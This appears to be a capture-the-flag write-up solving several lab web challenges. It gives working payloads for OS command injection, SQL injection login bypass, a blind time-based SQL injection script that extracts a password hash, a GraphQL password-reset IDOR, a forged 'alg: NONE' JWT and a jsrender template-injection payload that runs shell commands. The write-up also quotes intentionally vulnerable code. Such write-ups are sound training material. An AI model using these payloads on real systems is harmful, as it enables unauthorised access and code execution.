Category | Challenge Name | Difficulty |
---|---|---|
Web | Trapped Source | Very Easy |
Web | Gunhead | Very Easy |
Web | Drobots | Very Easy |
Web | Passman | Easy |
Web | Orbital | Easy |
Web | Didactic Octo Paddles | Medium |
View source code, then i got correct pass 8291
The site has some features, especially the command
The above code does ping to an ip address, there is no filter so it is easy to insert OS COMMAND INJECTION
Input /ping 127.0.0.1 || ls - la /
Then cat file flag /ping 127.0.0.1 || cat /flag.txt
The website only displays the login function
@web.route('/')
def signIn():
return render_template('login.html')
@web.route('/logout')
def logout():
session['auth'] = None
return redirect('/')
@web.route('/home')
@isAuthenticated
def home():
return render_template('home.html', flag=flag)
@api.route('/login', methods=['POST'])
def apiLogin():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login(username, password)
if user:
session['auth'] = user
return response('Success'), 200
return response('Invalid credentials!'), 403
After entering username and password, the code will execute login function
def login(username, password):
# We should update our code base and use techniques like parameterization to avoid SQL Injection
user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True)
if user:
token = createJWT(username)
return token
else:
return False
In the entrypoint file, you can see that an username admin
has already been added.
Then how to be able to login. And take the flag
For example, if the input is as follows: username = "admin", password = "1"
user = query_db(f'SELECT password FROM users WHERE username = "admin" AND password = "1" ', one=True)
My idea is to add the sql comment to the part after the username, then the password parameter will be disabled (no effect)
username = admin" --
The website has two functions: login and register.
First, I will try with the registration function (as a normal user), because after reviewing the source code, login cannot be exploited by SQL injection.
After logging in, there is an additional function called 'Add Phrase'. Let's try using it.
Okay, let's take note of this function's API, and then review the source code to see what can be exploited.
In the GraphqlHelper.js file, we will see how the Add Phrase function works (retrieving parameters and sending a response). And there are also some other functions that do not have a display function on the website.
Another interesting feature is 'Updatepassword'. Can I do anything with it? :D
Then let's try using it to change the password of my account.
Ohhhh, so can I change the password of the admin account too? :v
It would be insane to brute force a 32-character password :))
Okay, so it's successful, an IDOR vulnerability to change the password without being verified.
{
"query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password){ message } }",
"variables": {
"username": "admin",
"password": "123"
}
}
Then, login username admin and password = 123
The website only shows one function, which is login
@api.route('/login', methods=['POST'])
def apiLogin():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login(username, password)
if user:
session['auth'] = user
return response('Success'), 200
And login function:
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
passwordVerify:
def passwordVerify(hashPassword, password):
md5Hash = hashlib.md5(password.encode())
if md5Hash.hexdigest() == hashPassword: return True
else: return False
With this chall,it's slightly different from the previous one. When we input a correct (existing) username, then will the password be checked.
Verifypass function, I don't think it can be bypassed. And I'm thinking of another direction.
The way the query is written above can still be exploited by SQLi (SQL blind). Because it doesn't return the text "True" or "False" in the response header, so we will exploit it using Time-Based SQLi.
Ok, so now that we have determined that Time-Based SQLi is correct, we will exploit it to retrieve the password.
The password is generated with 32 characters in hexadecimal format.
import requests
import time
import string
url = "http://link-chall/api/login"
string = string.hexdigits
######## For test injection
# data = {"username":"admin\" and IF(SUBSTR(username,1,1)=\"b\",SLEEP(3),SLEEP(0)) -- ", "password":"onsra"}
# time_start = time.time()
# r = requests.post(url, json = data)
# time_end = time.time()
# time_taken = time_end - time_start
# print(time_taken)
# print(r.text)
######## Exploit
flag = ""
for i in range(1,33):
for j in string:
print(j, end="\r")
data = {"username":f"admin\" and IF(SUBSTR(password,{i},1)=\"{j}\",SLEEP(2),SLEEP(0)) -- ", "password":"onsra"}
time_start = time.time()
r = requests.post(url, json = data)
time_end = time.time()
time_taken = time_end - time_start
if time_taken > 2:
flag += j
print(flag)
break
# 1692b753c031f2905b89e7258dbc49bb = ichliebedich
After running the brute-force script, we will receive the password in its MD5 hashed form. However, it's just a common word in the wordlist, and I have already cracked it.
1692b753c031f2905b89e7258dbc49bb = ichliebedich
After obtaining the admin's password, we will log in to the inside.
def getCommunication():
return query('SELECT * from communication')
@web.route('/home')
@isAuthenticated
def home():
allCommunication = getCommunication()
return render_template('home.html', allCommunication=allCommunication)
And we have an export feature written in code as follows:
Path traversal exploit?
Whyyyy? Why is it not allowed? :v
In dockerfile :D
And …
After reading through the source code, there are some web entry points as follows:
And
router.get("/", AuthMiddleware, async (req, res) => {
try {
const products = await db.Products.findAll();
res.render("index", { products: products });
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
After we register an account, we will receive a JWT (JSON Web Token).
As there is an admin entrypoint, it is necessary to authenticate that the token is an admin. The question is whether we can crack the JWT to execute it.
This is the code for token authentication. (AdminMiddleware.js file)
Line 13, alg only checks for == "none", meaning we can inject other methods such as NoNE, NONE, … Let's try it out.
Change alg = NONE, id = 1 , and delete payload
ex: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NDAyMTU3LCJleHAiOjE2Nzk0MDU3NTd9.
On the /admin page, all the usernames will be listed, note that jsrender is used. Hmmmm, have you thought about Node.js SSTI?
Ok, let's try it!
As the list of usernames will be displayed, let's register another account and test SSTI.
{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"a"}
The next step is just to cat the flag file. It's simple.